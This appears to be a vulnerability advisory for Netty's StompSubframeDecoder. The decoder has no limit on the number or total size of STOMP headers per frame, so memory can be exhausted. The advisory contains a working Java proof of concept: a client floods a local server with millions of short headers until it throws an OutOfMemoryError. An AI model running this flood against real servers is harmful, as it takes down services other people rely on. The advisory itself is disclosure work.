Netty: Denial of Service via Unbounded Headers in StompSubframeDecoder

Summary

The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

Details

io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.

PoC

Run the server with -Xmx256m

public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}

public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Impact

Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.